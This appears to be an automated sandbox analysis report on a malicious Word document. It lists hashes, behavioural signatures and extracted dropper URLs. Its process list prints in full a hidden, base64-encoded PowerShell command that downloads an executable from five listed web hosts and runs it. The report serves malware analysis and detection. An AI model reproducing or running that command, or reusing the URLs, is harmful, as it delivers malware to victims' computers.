Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20-11-2024 21:31

General

  • Target

    78df0c6a1ff0609fdf3a8ef30b58fed6db37df9652c5810eefbf70a181967036.doc

  • Size

    181KB

  • MD5

    d4312f2ba569632cdde2d15fbcc221f1

  • SHA1

    971fba47ccac0a1d860d06eaa7452fb40c441f69

  • SHA256

    78df0c6a1ff0609fdf3a8ef30b58fed6db37df9652c5810eefbf70a181967036

  • SHA512

    b9b3f3230288d381d8e441eb47dc363e6f7cdf2e8fb34684bf4ae31feda7c06d722a5049c9ee7ddc33f17fcc2265283cf15bdceced2a1da35ed231b45ee903da

  • SSDEEP

    3072:9NO2y/GdywFyktGDWLS0HZWD5w8K7Nk9rD7IBUdasiv8OP7F:9NO2k4PF7tGiL3HJk9rD7bdasiv86J

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://diwafashions.com/wp-admin/mqau6/

exe.dropper

http://designers.hotcom-web.com/ubkskw29clek/qnpm1p/

exe.dropper

http://dixartcontractors.com/cgi-bin/nnuv/

exe.dropper

http://diaspotv.info/wordpress/G/

exe.dropper

http://easyvisaoverseas.com/cgi-bin/v/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 8 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\78df0c6a1ff0609fdf3a8ef30b58fed6db37df9652c5810eefbf70a181967036.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1148
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2308
    • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
      Powershell -w hidden -en JABWAGgAZAByAGkAZwBwAHQAeQA9ACcARwByAG4AcgBsAHYAagBnAHEAdwBpAGUAbAAnADsAJABRAGgAeQBtAGQAZAB0AHAAdQAgAD0AIAAnADgAOAAyACcAOwAkAFEAeQBmAHIAZgBhAHgAcABzAHAAeQA9ACcAQgBuAGIAbwByAGEAZwB6AGwAcgAnADsAJABLAGEAdABxAGgAcwByAGcAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFEAaAB5AG0AZABkAHQAcAB1ACsAJwAuAGUAeABlACcAOwAkAE8AYQBqAG4AZAByAHUAbAByAD0AJwBTAHoAdABnAHUAeAB6AHcAdwBrAHUAbwAnADsAJABGAHUAegBqAGQAcwBnAHYAZQA9ACYAKAAnAG4AJwArACcAZQB3ACcAKwAnAC0AbwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBFAFQALgBXAGUAYgBDAGwAaQBFAE4AVAA7ACQAVgB4AHkAegB5AHYAeQBzAGYAbQA9ACcAaAB0AHQAcAA6AC8ALwBkAGkAdwBhAGYAYQBzAGgAaQBvAG4AcwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AbQBxAGEAdQA2AC8AKgBoAHQAdABwADoALwAvAGQAZQBzAGkAZwBuAGUAcgBzAC4AaABvAHQAYwBvAG0ALQB3AGUAYgAuAGMAbwBtAC8AdQBiAGsAcwBrAHcAMgA5AGMAbABlAGsALwBxAG4AcABtADEAcAAvACoAaAB0AHQAcAA6AC8ALwBkAGkAeABhAHIAdABjAG8AbgB0AHIAYQBjAHQAbwByAHMALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwBuAG4AdQB2AC8AKgBoAHQAdABwADoALwAvAGQAaQBhAHMAcABvAHQAdgAuAGkAbgBmAG8ALwB3AG8AcgBkAHAAcgBlAHMAcwAvAEcALwAqAGgAdAB0AHAAOgAvAC8AZQBhAHMAeQB2AGkAcwBhAG8AdgBlAHIAcwBlAGEAcwAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAHYALwAnAC4AIgBzAFAAbABgAEkAVAAiACgAJwAqACcAKQA7ACQAUAB1AHcAcQBvAGYAZwBoAGwAPQAnAE4AYgBwAHgAZABuAHUAZAAnADsAZgBvAHIAZQBhAGMAaAAoACQASABkAGkAawBjAGUAdgBiAHUAYwB6AGgAYQAgAGkAbgAgACQAVgB4AHkAegB5AHYAeQBzAGYAbQApAHsAdAByAHkAewAkAEYAdQB6AGoAZABzAGcAdgBlAC4AIgBkAG8AdwBOAEwAbwBhAGQAYABGAGAASQBsAGUAIgAoACQASABkAGkAawBjAGUAdgBiAHUAYwB6AGgAYQAsACAAJABLAGEAdABxAGgAcwByAGcAKQA7ACQAUAB5AHUAbQBiAG0AdgBiAHYAdAA9ACcASABuAHgAeQB2AGMAcwBuACcAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQASwBhAHQAcQBoAHMAcgBnACkALgAiAGwAZQBuAGAAZwBUAGgAIgAgAC0AZwBlACAAMgA4ADQAMQAxACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAHMAVABhAGAAUgBUACIAKAAkAEsAYQB0AHEAaABzAHIAZwApADsAJABHAGcAdwBqAHkAcwB4AHoAPQAnAFgAYQB2AGMAZABtAHMAbABnAHAAeAAnADsAYgByAGUAYQBrADsAJABVAGIAYQBmAHIAcwBrAGYAeQBiAD0AJwBHAGYAYwB4AGkAeQB1AGEAbQBqAG4AJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUgBwAGEAYwBlAHgAZQByAHUAYgBpAHgAbgA9ACcAQQBrAHoAeQB5AG8AeABoAHAAJwA=
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1964

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\9EFEF2C2.wmf

      Filesize

      444B

      MD5

      c451f4cd87960222fda79362c60fff13

      SHA1

      72b787529226edea538e929e9a8f84496443ca74

      SHA256

      3b9043d1df4691ae446311625945055fe3d58e51988aafa31933a1b77a63ee71

      SHA512

      b48ec749152361d5484cf4b8e8e9218196f2c14638953fad4c4d5144c748ddfc9adb703e73f353d103244e3c1a64e3a50321b00156b5805dbd41a70e911b9e91

    • C:\Users\Admin\AppData\Local\Temp\TCDE1E0.tmp\sist02.xsl

      Filesize

      245KB

      MD5

      f883b260a8d67082ea895c14bf56dd56

      SHA1

      7954565c1f243d46ad3b1e2f1baf3281451fc14b

      SHA256

      ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353

      SHA512

      d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tmo3xsmd.0bq.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

      Filesize

      2B

      MD5

      f3b25701fe362ec84616a93a45ce9998

      SHA1

      d62636d8caec13f04e28442a0a6fa1afeb024bbb

      SHA256

      b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

      SHA512

      98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

    • memory/1148-8-0x00007FFE76830000-0x00007FFE76A25000-memory.dmp

      Filesize

      2.0MB

    • memory/1148-22-0x00007FFE76830000-0x00007FFE76A25000-memory.dmp

      Filesize

      2.0MB

    • memory/1148-6-0x00007FFE368B0000-0x00007FFE368C0000-memory.dmp

      Filesize

      64KB

    • memory/1148-9-0x00007FFE76830000-0x00007FFE76A25000-memory.dmp

      Filesize

      2.0MB

    • memory/1148-3-0x00007FFE368B0000-0x00007FFE368C0000-memory.dmp

      Filesize

      64KB

    • memory/1148-7-0x00007FFE76830000-0x00007FFE76A25000-memory.dmp

      Filesize

      2.0MB

    • memory/1148-10-0x00007FFE34000000-0x00007FFE34010000-memory.dmp

      Filesize

      64KB

    • memory/1148-11-0x00007FFE76830000-0x00007FFE76A25000-memory.dmp

      Filesize

      2.0MB

    • memory/1148-12-0x00007FFE76830000-0x00007FFE76A25000-memory.dmp

      Filesize

      2.0MB

    • memory/1148-13-0x00007FFE34000000-0x00007FFE34010000-memory.dmp

      Filesize

      64KB

    • memory/1148-14-0x00007FFE76830000-0x00007FFE76A25000-memory.dmp

      Filesize

      2.0MB

    • memory/1148-16-0x00007FFE76830000-0x00007FFE76A25000-memory.dmp

      Filesize

      2.0MB

    • memory/1148-15-0x00007FFE76830000-0x00007FFE76A25000-memory.dmp

      Filesize

      2.0MB

    • memory/1148-18-0x00007FFE76830000-0x00007FFE76A25000-memory.dmp

      Filesize

      2.0MB

    • memory/1148-20-0x00007FFE76830000-0x00007FFE76A25000-memory.dmp

      Filesize

      2.0MB

    • memory/1148-0-0x00007FFE368B0000-0x00007FFE368C0000-memory.dmp

      Filesize

      64KB

    • memory/1148-23-0x00007FFE76830000-0x00007FFE76A25000-memory.dmp

      Filesize

      2.0MB

    • memory/1148-21-0x00007FFE76830000-0x00007FFE76A25000-memory.dmp

      Filesize

      2.0MB

    • memory/1148-19-0x00007FFE76830000-0x00007FFE76A25000-memory.dmp

      Filesize

      2.0MB

    • memory/1148-17-0x00007FFE76830000-0x00007FFE76A25000-memory.dmp

      Filesize

      2.0MB

    • memory/1148-5-0x00007FFE76830000-0x00007FFE76A25000-memory.dmp

      Filesize

      2.0MB

    • memory/1148-1-0x00007FFE768CD000-0x00007FFE768CE000-memory.dmp

      Filesize

      4KB

    • memory/1148-2-0x00007FFE368B0000-0x00007FFE368C0000-memory.dmp

      Filesize

      64KB

    • memory/1148-4-0x00007FFE368B0000-0x00007FFE368C0000-memory.dmp

      Filesize

      64KB

    • memory/1148-81-0x00007FFE768CD000-0x00007FFE768CE000-memory.dmp

      Filesize

      4KB

    • memory/1148-82-0x00007FFE76830000-0x00007FFE76A25000-memory.dmp

      Filesize

      2.0MB

    • memory/1148-83-0x00007FFE76830000-0x00007FFE76A25000-memory.dmp

      Filesize

      2.0MB

    • memory/1148-84-0x00007FFE76830000-0x00007FFE76A25000-memory.dmp

      Filesize

      2.0MB

    • memory/1964-55-0x0000026EC0390000-0x0000026EC03B2000-memory.dmp

      Filesize

      136KB